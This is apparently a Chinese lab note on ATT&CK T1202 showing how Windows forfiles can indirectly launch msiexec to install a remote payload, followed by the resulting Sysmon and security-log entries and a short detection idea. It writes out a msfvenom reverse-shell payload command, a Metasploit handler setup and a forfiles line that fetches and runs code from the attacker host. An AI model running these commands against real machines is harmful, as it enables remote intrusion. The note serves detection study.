T1202-win-间接命令执行-基于Forfiles执行payload(白名单)
来自ATT&CK的描述
可以使用各种Windows实用程序来执行命令,而不需要调用cmd。例如,Forfiles、程序兼容性助手(pcalua.exe)、WSL(WindowsSubsystem for Linux)组件以及其他实用程序可以从命令行界面、运行窗口或通过脚本来调用程序和命令的执行。
攻击者可能会滥用这些功能来规避防御,尤其是在破坏检测和/或缓解控制(如组策略)的同时执行任意动作。(这些控制限制/阻止了cmd或恶意负载相关文件扩展名的使用。)
测试案例
Forfiles为Windows默认安装的文件操作搜索工具之一,可根据日期,后缀名,修改日期为条件。常与批处理配合使用。
微软官方文档:
说明:Forfiles.exe所在路径已被系统添加PATH环境变量中,因此,Forfiles命令可识别,需注意x86,x64位的Forfiles调用。
Windows 2003 默认位置:
C:\WINDOWS\system32\forfiles.exe C:\WINDOWS\SysWOW64\forfiles.exe
Windows 7 默认位置:
C:\WINDOWS\system32\forfiles.exe C:\WINDOWS\SysWOW64\forfiles.exe
补充说明:在高版本操作系统中,可以通过配置策略,对进程命令行参数进行记录。日志策略开启方法:本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用
,同样也可以在不同版本操作系统中部署sysmon,通过sysmon日志进行监控。
检测日志
windows 安全日志(需要自行配置)
测试复现
环境准备
攻击机:Kali2019
靶机:win7
攻击分析
生成payload
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.126.146 LPORT=8888 -f msi > abc.txt
MSF配置
msf5 exploit(multi/handler) > back
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.126.146
lhost => 192.168.126.146
msf5 exploit(multi/handler) > set lport 8888
lport => 5555
msf5 exploit(multi/handler) > exploit
靶机执行payload
forfiles /p c:\windows\system32 /m cmd.exe /c "msiexec.exe /q /i http://192.168.126.146/abc.txt"
反弹shell
反弹shell失败!!!但不影响后续分析
测试留痕
#sysmon日志
EventID:1
Process Create:
RuleName:
UtcTime: 2020-04-18 16:27:08.447
ProcessGuid: {bb1f7c32-2a5c-5e9b-0000-0010b3101d00}
ProcessId: 588
Image: C:\Windows\System32\msiexec.exe
FileVersion: 5.0.7601.17514 (win7sp1_rtm.101119-1850)
Description: Windows® installer
Product: Windows Installer - Unicode
Company: Microsoft Corporation
OriginalFileName: msiexec.exe
CommandLine: /q /i http://192.168.126.146/abc.txt
CurrentDirectory: C:\Windows\system32\
User: 12306Br0-PC\12306Br0
LogonGuid: {bb1f7c32-25f5-5e9b-0000-0020b86d0600}
LogonId: 0x66db8
TerminalSessionId: 1
IntegrityLevel: High
Hashes: SHA1=443AAC22D57EDD4EF893E2A245B356CBA5B2C2DD
ParentProcessGuid: {bb1f7c32-2a5c-5e9b-0000-00100a101d00}
ParentProcessId: 1220
ParentImage: C:\Windows\System32\forfiles.exe
ParentCommandLine: forfiles /p c:\windows\system32 /m cmd.exe /c "msiexec.exe /q /i http://192.168.126.146/abc.txt"
#win7安全日志
EventID:4688
进程信息:
新进程 ID: 0x4c4
新进程名: C:\Windows\System32\forfiles.exe
检测规则/思路
无具体检测。监控和分析基于主机的检测机制(如Sysmon)中的日志来查看事件,比如查看是否有进程创建事件(创建过程中使用了参数来调用程序/命令/文件和/或生成子进程/网络连接,或者该创建是由这些参数导致的)。
相关TIP
[[T1202-win-基于白名单Pcalua执行payload]]
参考推荐
MITRE-ATT&CK-T1202
https://attack.mitre.org/techniques/T1202/
基于白名单Forfiles执行payload